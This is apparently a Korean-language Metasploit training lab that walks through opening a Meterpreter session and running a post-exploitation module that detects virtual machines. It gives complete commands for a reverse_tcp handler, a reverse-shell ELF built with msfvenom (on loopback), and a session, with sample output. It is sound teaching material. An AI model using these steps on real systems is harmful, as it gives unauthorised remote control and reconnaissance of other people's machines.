Metasploit 에서 후속 공격 모듈 실행하기

Kali LinuxBeginner
지금 연습하기

소개

후속 공격 (Post-exploitation) 은 침투 테스터가 대상 시스템에 초기 접근 권한을 획득한 후에 발생하는 단계입니다. 이 단계 동안 목표는 더 많은 정보를 수집하고, 권한을 상승시키며, 다른 시스템으로 이동하고 (pivot), 지속적인 접근 권한을 유지하는 것입니다. Metasploit Framework 는 이러한 작업을 자동화하기 위한 방대한 후속 공격 모듈 컬렉션을 제공합니다.

이 랩에서는 Metasploit 에서 후속 공격 모듈을 사용하는 기본적인 워크플로우를 배우게 됩니다. Meterpreter 세션을 설정한 다음, 적합한 모듈을 검색하고, 구성한 후, 대상 시스템에 대한 정보를 수집하기 위해 활성 세션에 대해 실행할 것입니다. 예시로 post/linux/gather/checkvm 모듈을 사용할 것이며, 이 모듈은 침해된 호스트가 가상 머신인지 확인하려고 시도합니다.

활성 Meterpreter 세션 확보

이 단계에서는 Metasploit 에 리스너를 설정하고 페이로드를 실행하여 침해된 호스트가 다시 연결하는 것을 시뮬레이션함으로써 활성 Meterpreter 세션을 생성합니다. 이 세션은 모든 후속 공격 모듈을 실행하기 위한 전제 조건입니다.

먼저 Metasploit Framework 콘솔을 시작합니다. 터미널을 열고 다음을 입력합니다.

msfconsole -q

-q 플래그는 시작 배너를 조용하게 만듭니다. msf6 > 프롬프트에 도달하면 리스너를 구성할 것입니다. 일반 핸들러와 Linux Meterpreter 페이로드를 사용할 것입니다.

msfconsole 프롬프트에 다음 명령을 입력합니다.

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1

이제 exploit -j를 사용하여 리스너를 백그라운드 작업으로 실행합니다.

exploit -j

핸들러가 시작되었다는 확인 메시지가 표시됩니다.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

이제 새 터미널을 엽니다 (터미널 탭 바의 + 버튼을 사용할 수 있습니다). 이 새 터미널에서 리스너에 다시 연결하는 페이로드를 생성하고 실행할 것입니다. msfvenom을 사용하여 Linux 실행 파일을 생성합니다.

두 번째 터미널에서 다음 명령을 실행하여 페이로드를 생성합니다.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf

이 명령은 ~/project 디렉토리에 shell.elf라는 ELF (Executable and Linkable Format) 파일을 생성합니다.

다음으로, 파일에 실행 권한을 부여합니다.

chmod +x ~/project/shell.elf

마지막으로 페이로드를 실행하여 세션을 설정합니다.

./shell.elf

이제 첫 번째 터미널 ( msfconsole이 있는 터미널) 로 다시 전환합니다. 새 세션이 생성되었음을 나타내는 메시지가 표시됩니다.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400

확인하려면 sessions 명령으로 모든 활성 세션을 나열할 수 있습니다.

sessions

활성 세션이 나열된 것을 볼 수 있으며, 이는 다음 단계를 진행할 준비가 되었음을 의미합니다.

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  1         meterpreter x86/linux               127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)

세션 백그라운드 처리 및 post 모듈 검색

이 단계에서는 새 세션과 상호 작용하는 방법을 배우고, 후속 공격 모듈을 검색하기 위해 메인 msfconsole 프롬프트로 돌아갑니다.

sessions 명령 후에는 msf6 > 프롬프트에 있습니다. 세션과 상호 작용하려면 sessions -i 명령 뒤에 세션 ID 를 사용합니다.

sessions -i 1

프롬프트가 meterpreter >로 변경되어 현재 침해된 시스템의 세션 내부에 있음을 나타냅니다.

[*] Starting interaction with 1...

meterpreter >

후속 공격 모듈을 실행하려면 메인 msf6 > 프롬프트에 있어야 합니다. Meterpreter 세션을 활성 상태로 유지하면서 메인 콘솔로 돌아가려면 background 명령을 사용합니다.

background

세션이 백그라운드에서 실행 중임을 확인하는 메시지가 표시되고 프롬프트가 msf6 >로 돌아갑니다.

[*] Backgrounding session 1...
msf6 >

이제 search 명령을 사용하여 후속 공격 모듈을 검색할 수 있습니다. 이 명령은 매우 강력하며 모듈을 유형, 플랫폼, 이름 등으로 필터링할 수 있습니다. 가상 머신을 확인하는 모듈을 찾으려면 키워드 checkvm을 검색할 수 있습니다.

search checkvm

Metasploit 는 키워드와 일치하는 모든 모듈을 나열합니다.

Matching Modules
================

   ##   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
   0   post/linux/gather/checkvm                             normal  No     Linux Gather Virtual Machine Environment Detection
   1   post/windows/gather/checkvm                           normal  No     Windows Gather Virtual Machine Environment Detection
   ...

이는 Linux 및 Windows 모두에 대한 모듈이 있음을 보여줍니다. 세션이 Linux 대상에 있으므로 post/linux/gather/checkvm을 사용할 것입니다.

post/linux/gather/checkvm과 같은 후속 공격 모듈 선택

이 단계에서는 이전 단계에서 찾은 후속 공격 모듈을 선택하고 해당 구성 옵션을 확인합니다.

Metasploit 에서 모듈을 선택하거나 "사용"하려면 use 명령 뒤에 모듈의 전체 이름을 사용합니다. 검색 결과에 따라 post/linux/gather/checkvm을 사용합니다.

use post/linux/gather/checkvm

프롬프트가 현재 선택된 모듈을 반영하도록 변경됩니다.

msf6 post(linux/gather/checkvm) >

모듈이 선택되면 항상 해당 옵션을 확인하여 무엇을 구성해야 하는지 확인해야 합니다. show options 명령은 현재 모듈에 대한 모든 사용 가능한 설정을 표시합니다.

show options

출력에는 모듈의 옵션, 현재 설정 및 필수 여부가 표시됩니다.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

보시다시피 SESSION 옵션은 필수이지만 아직 값이 없습니다. 이 옵션은 Metasploit 에 활성 세션 중 어떤 세션에 대해 모듈을 실행할지 알려줍니다.

활성 세션 ID 로 SESSION 옵션 설정

이 단계에서는 후속 공격 모듈에 필요한 SESSION 옵션을 구성합니다.

이전 단계에서 활성 세션의 ID 가 1임을 알고 있습니다. 이 ID 를 모듈에 제공해야 합니다. set 명령은 모듈 옵션을 구성하는 데 사용됩니다.

SESSION 옵션을 1로 설정하려면 다음 명령을 실행합니다.

set SESSION 1

값이 설정되었음을 확인하는 메시지가 표시됩니다.

SESSION => 1

확실히 하기 위해 show options를 다시 실행하여 SESSION 옵션이 올바르게 구성되었는지 확인할 수 있습니다.

show options

출력에는 이제 SESSION의 현재 설정으로 1이 표시됩니다.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

SESSION 옵션이 설정되었으므로 모듈을 실행할 준비가 되었습니다.

모듈 실행 및 결과 분석

이 단계에서는 구성된 후속 공격 모듈을 실행하고 해당 출력을 분석합니다.

모듈이 선택되고 모든 필수 옵션이 설정되었으므로 이제 모듈을 실행할 수 있습니다. Metasploit 에서는 run 또는 exploit 명령을 사용하여 모듈을 실행할 수 있습니다. 후속 공격 모듈의 경우 일반적으로 run이 사용됩니다.

run

모듈이 이제 대상 세션 (세션 1) 에서 실행됩니다. 모듈은 검사를 수행하고 결과를 콘솔에 출력합니다. LabEx 환경은 가상화된 환경 내에서 실행되므로 긍정적인 결과가 표시됩니다.

[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed

결과 분석:

출력은 대상 시스템이 Xen 및 KVM/QEMU 가상 머신으로 모두 감지되었음을 명확하게 나타냅니다. 이는 침투 테스터에게 귀중한 정보입니다. 대상이 가상화되었음을 알면 VM 탈출 취약점을 찾거나 기본 인프라를 이해하는 등 향후 작업에 영향을 줄 수 있습니다.

이제 첫 번째 후속 공격 모듈을 성공적으로 실행했습니다!

요약

이 실습에서는 Metasploit Framework 내에서 후속 공격 모듈을 사용하는 필수 워크플로를 배웠습니다. 발판을 마련하는 것부터 대상 시스템에 대한 정보를 수집하는 것까지 전체 프로세스를 성공적으로 수행했습니다.

다음과 같은 내용을 배웠습니다.

  • 리스너를 생성하고 Meterpreter 세션을 설정하는 방법.
  • 활성 세션을 백그라운드로 전환하여 기본 msfconsole 프롬프트로 돌아가는 방법.
  • search 명령을 사용하여 관련 후속 공격 모듈을 찾는 방법.
  • use 명령으로 모듈을 선택하고 show options로 설정을 확인하는 방법.
  • 필수 SESSION 옵션을 설정하여 모듈을 구성하는 방법.
  • run 명령으로 모듈을 실행하고 해당 출력을 분석하는 방법.

이러한 기본적인 기술은 권한 상승, 자격 증명 수집 및 네트워크 전반의 측면 이동과 같은 더 고급 후속 공격 활동을 위한 빌딩 블록입니다.